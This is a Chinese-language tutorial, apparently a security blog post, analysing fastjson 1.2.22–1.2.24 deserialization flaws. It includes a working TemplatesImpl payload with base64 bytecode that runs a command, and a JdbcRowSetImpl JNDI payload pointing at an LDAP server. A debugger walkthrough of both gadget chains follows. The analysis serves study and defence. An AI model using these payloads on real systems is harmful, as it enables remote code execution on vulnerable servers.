0%

fastjson反序列化与JNDI注入

fastjson反序列化与JNDI注入

什么是fastjson?

FastJson是阿里巴巴的的开源库,用于对JSON格式的数据进行解析和打包。其实简单的来说就是处理json格式的数据的。例如将json转换成一个类。或者是将一个类转换成一段json数据。

fastjson的简单使用

创建一个User类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package main.java.fastjson;

public class User {
public String username;
public String password;

public user(String username, String password) {
this.username = username;
this.password = password;
}

public String getUsername() {
return username;
}

public void setUsername(String username) {
this.username = username;
}

public String getPassword() {
return password;
}

public void setPassword(String password) {
this.password = password;
}
}

创建一个test类

1
2
3
4
5
6
7
8
9
10
11
package main.java.fastjson;

import com.alibaba.fastjson.JSON;

public class test {
public static void main(String[] args) {
User user = new User("ycxlo","123");
String s = JSON.toJSONString(user);
System.out.println(s);
}
}

输出结果

img

再来看看另一段代码

1
2
3
4
5
6
7
8
9
10
11
12
package main.java.fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class test {
public static void main(String[] args) {
User user = new User("ycxlo","123");
String s = JSON.toJSONString(user, SerializerFeature.WriteClassName);
System.out.println(s);
}
}

输出结果

img

第二个参数 SerializerFeature.WriteClassName 是一个枚举值,表示要在 JSON 字符串中包含类名。

在和前面代码做对比后,可以发现其实就是在调用toJSONString方法的时候,参数里面多了一个SerializerFeature.WriteClassName方法。传入SerializerFeature.WriteClassName可以使得Fastjson支持自省(自省是指在运行时检查类的属性、方法和构造函数等信息,并在不提前知道类结构的情况下进行操作),开启自省后序列化成JSON的数据就会多一个@type,这个是代表对象类型的JSON文本。FastJson的漏洞就是他的这一个功能去产生的,在对该JSON数据进行反序列化的时候,会去调用指定类中对于的get/set/is方法。

上面是序列化的使用,接下来我们再看看反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
package main.java.fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class test {
public static void main(String[] args) {
User user = new User("ycxlo","123");
String s = JSON.toJSONString(user, SerializerFeature.WriteClassName);
User user1 = JSON.parseObject(s,User.class);
System.out.println(user1);
}
}

但是这样会有个异常,我们需要稍稍改变一下User类,添加一个无参构造方法,输出结果

img

如果parseObject中没有第二个参数,则返回一个JSONObject对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package main.java.fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class test {
public static void main(String[] args) {
User user = new User("ycxlo","123");
String s = JSON.toJSONString(user, SerializerFeature.WriteClassName);
JSONObject user1 = JSON.parseObject(s);
System.out.println(user1);
}
}
//{"password":"123","username":"ycxlo"}

这两段代码中,可以发现用了JSON.parseObjectJSON.parse这两个方法,JSON.parseObject方法中没指定对象,返回的则是JSONObject的对象。JSON.parseObjectJSON.parse这两个方法差不多,JSON.parseObject的底层调用的还是JSON.parse方法,只是在JSON.parse的基础上做了一个封装。

在序列化时,FastJson会调用成员对应的get方法,被private修饰且没有get方法的成员不会被序列化,

而反序列化的时候在,会调用了指定类的全部的setterpublibc修饰的成员全部赋值。我们可以简单测试一下

User.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package main.java.fastjson;

public class User {
public String username;
public String password;

public User(){

}

public User(String username, String password) {
this.username = username;
this.password = password;
}

public String getUsername() {
System.out.println("this is getter");
return username;
}

public void setUsername(String username) {
System.out.println("this is setter");
this.username = username;
}

public String getPassword() {
return password;
}

public void setPassword(String password) {
this.password = password;
}
}

运行上段代码,结果为:

img

漏洞点:由于序列化数据是从客户端发送的,如果将type属性修改成恶意的类型,再发送过去,而接收方进行正常的反序列化操作时,不就可以实现任意类的反序列化操作!!!

反序列化漏洞复现

主要有两种攻击方式,一个是使用TemplatesImpl类,另一个是JdbcRowSetImpl类

环境

1
fastjson 1.22-1.24

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
package main.java.fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

public class POC_Tem {
public static void main(String[] args) {
ParserConfig config = new ParserConfig();
String s = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQAMgoAAgADBwAEDAAFAAYBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAGPGluaXQ+AQADKClWCgAIAAkHAAoMAAsADAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwgADgEABGNhbGMKAAgAEAwAEQASAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwcAFAEAE2phdmEvbGFuZy9FeGNlcHRpb24KABMAFgwAFwAGAQAPcHJpbnRTdGFja1RyYWNlBwAZAQAfbWFpbi9qYXZhL2NjMi9UZXN0VGVtcGxhdGVzSW1wbAEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAEdGhpcwEAIUxtYWluL2phdmEvY2MyL1Rlc3RUZW1wbGF0ZXNJbXBsOwEADVN0YWNrTWFwVGFibGUBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAKgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEAFlRlc3RUZW1wbGF0ZXNJbXBsLmphdmEAIQAYAAIAAAAAAAMAAQAFAAYAAQAaAAAAfAACAAIAAAAWKrcAAbgABxINtgAPV6cACEwrtgAVsQABAAQADQAQABMAAwAbAAAAGgAGAAAADAAEAA4ADQARABAADwARABAAFQASABwAAAAWAAIAEQAEAB0AHgABAAAAFgAfACAAAAAhAAAAEAAC/wAQAAEHABgAAQcAEwQAAQAiACMAAgAaAAAAPwAAAAMAAAABsQAAAAIAGwAAAAYAAQAAABYAHAAAACAAAwAAAAEAHwAgAAAAAAABACQAJQABAAAAAQAmACcAAgAoAAAABAABACkAAQAiACsAAgAaAAAASQAAAAQAAAABsQAAAAIAGwAAAAYAAQAAABoAHAAAACoABAAAAAEAHwAgAAAAAAABACQAJQABAAAAAQAsAC0AAgAAAAEALgAvAAMAKAAAAAQAAQApAAEAMAAAAAIAMQ==\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}";
Object obj = JSON.parseObject(s, Object.class, config, Feature.SupportNonPublicField);
}
}

img

一些对于exp的解释

  • @type :用于存放反序列化时的目标类型,这里指定的是TemplatesImpl这个类,Fastjson会按照这个类反序列化得到实例,因为调用了getOutputProperties方法,实例化了传入的bytecodes类,导致命令执行。需要注意的是,Fastjson默认只会反序列化public修饰的属性,outputProperties和_bytecodes由private修饰,必须加入Feature.SupportNonPublicField 在parseObject中才能触发;
  • _bytecodes:继承AbstractTranslet 类的恶意类字节码,并且使用Base64编码
  • _name:调用getTransletInstance 时会判断其是否为null,为null直接return,不会往下进行执行,利用链就断了,可参考cc2和cc4链。
  • _tfactory:defineTransletClasses 中会调用其getExternalExtensionsMap 方法,为null会出现异常,但在前面分析jdk7u21链的时候,部分jdk并未发现该方法。
  • outputProperties:漏洞利用时的关键参数,由于Fastjson反序列化过程中会调用其getOutputProperties 方法,导致bytecodes字节码成功实例化,造成命令执行。

前面说到的之所以加入Feature.SupportNonPublicField才能触发是因为Feature.SupportNonPublicField的作用是支持反序列化使用非public修饰符保护的属性。

img

可以看到TemplatesImpl类中基本是private属性,因此在Fastjson中需要加入Feature.SupportNonPublicField,而这种方式并不多见。

调试分析Templates链

在JSON.parseObject处下断点即可

img

需要传入4个参数,input是我们的payload,clazz是反序列化后对应的类(就是obj对象的类),config就是ParseConfig对象,features参数为反序列化反序列化private属性所用到的一个参数。继续调用一个重载方法。

img

将features的掩码值赋给featureValues,然后实例化一个DefaultJSONParser,而后调用parser.parseObject()方法,跟进

img

两个if条件均不满足,调用config.getDeserializer()方法,这个方法应该就是获取一个反序列化配置,而后调用derializer.deserialze方法,跟进

img

进行一个三次判断,显然第二个判断是不成立的

img

所以调用parser.parse方法,跟进

img

这里调用的是DefaultJSONParser的parse方法,我们先回到当时实例化DefaultJSONParser类的时候

img

又实例化了一个JSONScanner对象,跟进

img

这个方法是用于解析json数据的,回去,继续调用DefaultJSONParser的重载方法

img

lexer是一个JSONScanner对象,调用getCurrent()方法就是返回ch的值,也就是{,

回到DefaultJSONParser的parse方法,对lexer的token进行一个判断,此时为12,而LBRACE对应的值便为12

img

img

又实例化了一个JSONObject对象,其中还调用了lexer.isEnabled方法,跟进一下

img

这里返回的是false,可以验证一下

img

继续跟进JSONObject的构造方法

img

继续调用一个重载方法

img

将map实例化为一个HashMap对象,返回,继续调用parseObject方法,跟进

img

然后会走到这一步

img

if条件均成立,步入,lexer.scanSymbol方法就是获取@type后面的类名,紧接着便调用LoadClass加载该类,然后会走到这里

img

clazz便是Templates类,调用JavaBeanDeserializer的deserialze方法,跟进

img

继续调用重载方法

img

然后运行到这里我们可以发现fieldInfo已经被赋值为了outputProperties

img

我们去看看它是如何被赋值的,定位到上一步的getDeserializer方法

img

跟进getDeserializer方法

img

继续调用重载方法getDeserializer((Class<?>) type, type),跟进

img

然后到这里,调用createJavaBeanDeserializer方法

img

img

走到这里

img

调用JavaBeanInfo.build方法,跟进

img

Field[] declaredFields = clazz.getDeclaredFields();获取Templates所有的属性,Method[] methods = clazz.getMethods();获取所有的方法

然后到这里,获取getter方法的属性值

img

并将其加入fieldlist,获取到了outputProperties属性

回到JavaBeanDeserializer的deserialze方法,到这里

img

调用parseField方法,跟进

img

继续调用smartMatch方法,到这里

img

去掉_,回去,到这一步

img

调用fieldDeserializer.parseField方法,其实是DefaultFieldDeserializer的parseFiled方法,跟进,然后到这里

img

然后调用setvalue方法,跟进,到这里

img

调用了TemplatesImpl.getOutputProperties()方法

终于完了……

JNDI漏洞复现

exp

1
2
3
4
5
6
7
8
9
10
package main.java.fastjson;

import com.alibaba.fastjson.JSON;

public class POC_JNDI {
public static void main(String[] args) {
String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://127.0.0.1:7777/test\", \"autoCommit\":true}";
JSON.parse(PoC);
}
}

启动一个ldap服务,并在test.class下监听端口

img

调试分析JNDI漏洞

jndi注入通用性较强(因为它不需要特殊选项),但是需要在目标出网的情况下才能使用

前面的过程基本和反序列化差不多,因为前面部分的本质就是调试查看fastjson是如何调用@type类的getter和setter方法。

那我们就再看看JNDI调用了JdbcRowSetImpl的哪个setter/getter方法,而后又是什么情况

我们可以在FieldDeserialize的setValue处下个断点

img

这之后会运行到这里

img

利用invoke调用了JdbcRowSetImpl的setAutoCommit方法,跟进

img

调用了connect方法,跟进

img

有个明显的lookup函数,其中的参数调用了getDataSourceName()方法,跟进一下

img

可以看到,这里返回的就是我们自定义的dataSourceName属性,说明是可控的,当然也就造成了JNDI漏洞